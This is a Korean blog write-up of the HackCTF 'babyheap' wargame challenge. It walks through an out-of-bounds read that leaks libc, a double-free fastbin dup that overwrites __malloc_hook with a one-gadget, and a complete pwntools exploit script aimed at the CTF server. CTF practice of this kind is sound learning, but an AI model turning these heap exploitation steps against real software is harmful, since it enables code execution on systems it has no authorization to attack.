본문 바로가기

Pwnable/Wargame

[HackCTF] babyheap Write Up

바이너리와 libc가 주어진다.

먼저 보호기법 확인

pie뺴고 다 걸려있고 libc 2.23 환경이라는것을 알 수 있다.

실행해보면?

메뉴 출력하고 입력을받는다. 1번누르면 malloc으로 힙을 할당할 수 있고 2번 누르면 할당된 힙을 free 할 수 있고 3번을 누르면 할당된 힙에 있는 값을 볼 수 있다.

gdb로 돌려보자

main함수를 보면 menu함수로 메뉴를 출력하고 input_number로 메뉴를 선택받고, 리턴값에따라 1이면 Malloc, 2면 Free, 3이면 Show 함수를 호출하고 다시 메뉴로 반복하는것을 알 수 있다.

input_number은 특이하게 read로 입력을받고 atoi로 문자열로 바꿔서 반환한다.
이쯤되니 귀찮으니까 그냥 ida로 확인해보았다.

코드를보니 malloc은 0~5까지 6번 할 수있고 ptr이라는 전역 배열에 malloc할당받은 힙 주소를 저장하는것을 알 수 있다. 즉 ptr[0] ptr[1] ptr[2] ptr[3] ptr[4] ptr[5] 까지 저장하고, Free함수에서는 입력받은 인덱스에 있는 haep을 free해준다.
그런데 double free에 대한 검증로직이 없기때문에 일단 double free로 동일한 주소의 힙을 할당받게 할 수 있을것같다.
다음으로 Show함수에는 입력받은 index에 있는 힙의 내용을 puts로 출력한다. 여기서도 마찬가지로 입력값에 대한 검증이 없기때문에 임의의주소를 leak할 수 있을 것 같다.

일단 libc base주소부터 구해야될것같아서 Show함수를 자세히 보았다.

+90번쨰를 보니 puts에 넣을 문자열 주소를 rax*8+0x602060 으로 넣어준다 입력값이 rax에 들어가므로 이상한숫자를 넣어서 rax*8+0x602060 이 계산을 통해 특정한 주소를 출력할 수 있을것같다.

puts 의 got주소 0x601fa8을 넣으려고 했는데 넣어보니까 QWORD PTR[rax*8+0x602060] 이므로 저 주소가 가르키는 값이 rax에 들어가서 puts의 got가 아니라 puts의 got주소를 가지고 있는 어느 다른 주소를 넣어줘야한다...
그래서 검색을 조져보니 elf rela 라는 테이블이있다고 한다. 링킹시 rela 테이블에있는 got 주소로 plt를 연결하는..? 뭐 그런것같다.

일단 실행하고 gdb에서 find로 got주소를 검색해보니

이렇게 0x4005a8주소가 0x601fa8을 가지고 있는것을 확인.

readelf 로 확인해보니

rela.dyn 영역은 0x400590 ~ 0x400590 + 0x168 까지니까 rela 테이블이 맞는것같다.
그럼 rax * 8 + 0x602060 = 0x4005a8이 되는 rax값을 구해보면, -262999 가 나온다.
leak이 되나 코드를짜서 확인해보았다.

r.sendlineafter("> ", "3")
r.sendlineafter("index: ", "-262999")

leak = u64(r.recv(6).ljust(8,'\x00'))
base = leak - 0x6f690
print("leak = : " + hex(leak))
print("base = : " + hex(base))

잘됨.

그리고 이제 어떻게할까... 생각하다가 아까 Free함수 코드에서 double free로 fastbin dup를 유도할 수 있을것같아서 직접해보았다

예상대로 fastbin에 같은주소가 중복으로 들어간다!!!
이제 이상태로 0x30 크기에 청크에 맞는 0x20 크기의 힙을 세번 할당하면 첫번째와 세번째 할당주소가 같을 것이다.
이를 이용해서 got에다가 뭐를 덮어쓸려고 했는데 이전에 드림핵에서 풀었던 hook가 생각나서 그 주소를 덮는것을 생각했다. malloc_hook 이나 free_hook을 onegadget으로 덮고 다시 malloc이나 free를 호출하면 될것같다.

그래서 일단

이렇게 fastbin dup가 발생한 상태에서 같은크기를 한번 malloc하고 malloc_hook의 주소를 넣어주었다

넣어준 값이 청크의 FD에 잘 들어갔다. 이상태로 3번더 malloc하면 저 주소에 값을 넣을 수 있을것같다.

근데 뭐가안됨...

그래서 저 주소를 자세히보니

이런식으로 되어있다. 생각해보니 저 주소에 heap처럼 값을넣으려면

위 사진을 예로들면 0x231f000 주소의 청크의 왼쪽위는 prev size, 오른쪽위는 chunk size, 그리고 왼쪽아래부분부터 입력값이 들어간다. 그러니깐 hook 주소에 값이입력되는게아니라 hook + 16 주소에 값이 들어간다. 그리고 그 값을 넣으려면 일반적인 chunk의 형식처럼 이전8바이트에 청크의 크기가 fastbin 사이즈 범위의 값으로 세팅 되어있어야 한다.
그러니까 그냥 chunk 구조랑 맞게 넣어줘야할것같다.

근데 free_hook이랑 malloc_hook 이전값들 다 봤는데 free_hook 주소의 이전값들은 chunk size값으로 쓸만한 주소가 없어서 무조건 malloc_hook을 덮어야 할 것 같다.

그래서 malloc_hook 기준으로 1바이트씩 계~~속 빼다보니

이 주소에 chunk를 할당하면 사이즈도 7f 로 적절하고 데이터부분에 malloc_hook 주소도 포함된다.

저 주소에 할당하면 데이터부분은 0x7f96c57acafd 이므로 더미데이터를 넣어줘야하는데 크기를 계산해보니

이렇게 0x13(19)바이트의 더미값을 넣어주고 onegaget을 넣어주면 될 것 같다.

해보니까 더미값 19바이트 뒤로 onegadget이 정확하게 malloc_hook에 들어갔다.
이제 malloc을 호출해야하는데...

여기서 봤듯이 malloc은 최대 6번까지밖에 못함;;;
그래서 검색하다보니
같은주소를 2번 free해서 double free 에러를 발생시키면 중간에 malloc함수가 호출된다고해서 시도해봤는데

double free 에러가 뜨긴하는데 쉘이안따짐.

그래서

원샷가젯 4개 다넣어보니 0xf02a4 가 쉘을따줌

from pwn import *

#context.log_level = 'debug'
#r = process("./babyheap")
r= remote("ctf.j0n9hyun.xyz", 3030)

def malloc(str):
    r.sendlineafter("> ", "1")
    r.sendlineafter("size:", "96")
    r.sendlineafter("content: ", str)

def free(index):
    r.sendlineafter("> ", "2")
    r.sendlineafter("index: ", str(index))

r.sendlineafter("> ", "3")
r.sendlineafter("index: ", "-262999")

leak = u64(r.recv(6).ljust(8,'\x00'))
base = leak - 0x6f690

oneshot = base + 0xf02a4

system = base + 0x45390
malloc_hook = base + 0x3c4b10
free_hook = base + 0x3c67a8

print("leak = : " + hex(leak))
print("base = : " + hex(base))
print("one = : " + hex(oneshot))

#gdb.attach(r)
#pause()

malloc("AAAA")
malloc("BBBB")

free(0)
free(1)
free(0)

malloc(p64(malloc_hook-35))

malloc("BBBB")
malloc("CCCC")
malloc("A"*0x13 + p64(oneshot))

free(2)
sleep(0.2)
free(2)

r.interactive()

'Pwnable > Wargame' 카테고리의 다른 글

[Dreamhack] ssp_000 Write Up  (0) 2021.10.19
[Dreamhack] environ Write Up  (0) 2021.10.19
[HackCTF] RTC Write Up  (0) 2021.10.12
[HackCTF] ROP Write Up  (0) 2021.09.27
[Dreamhack] hook Write Up  (0) 2021.09.25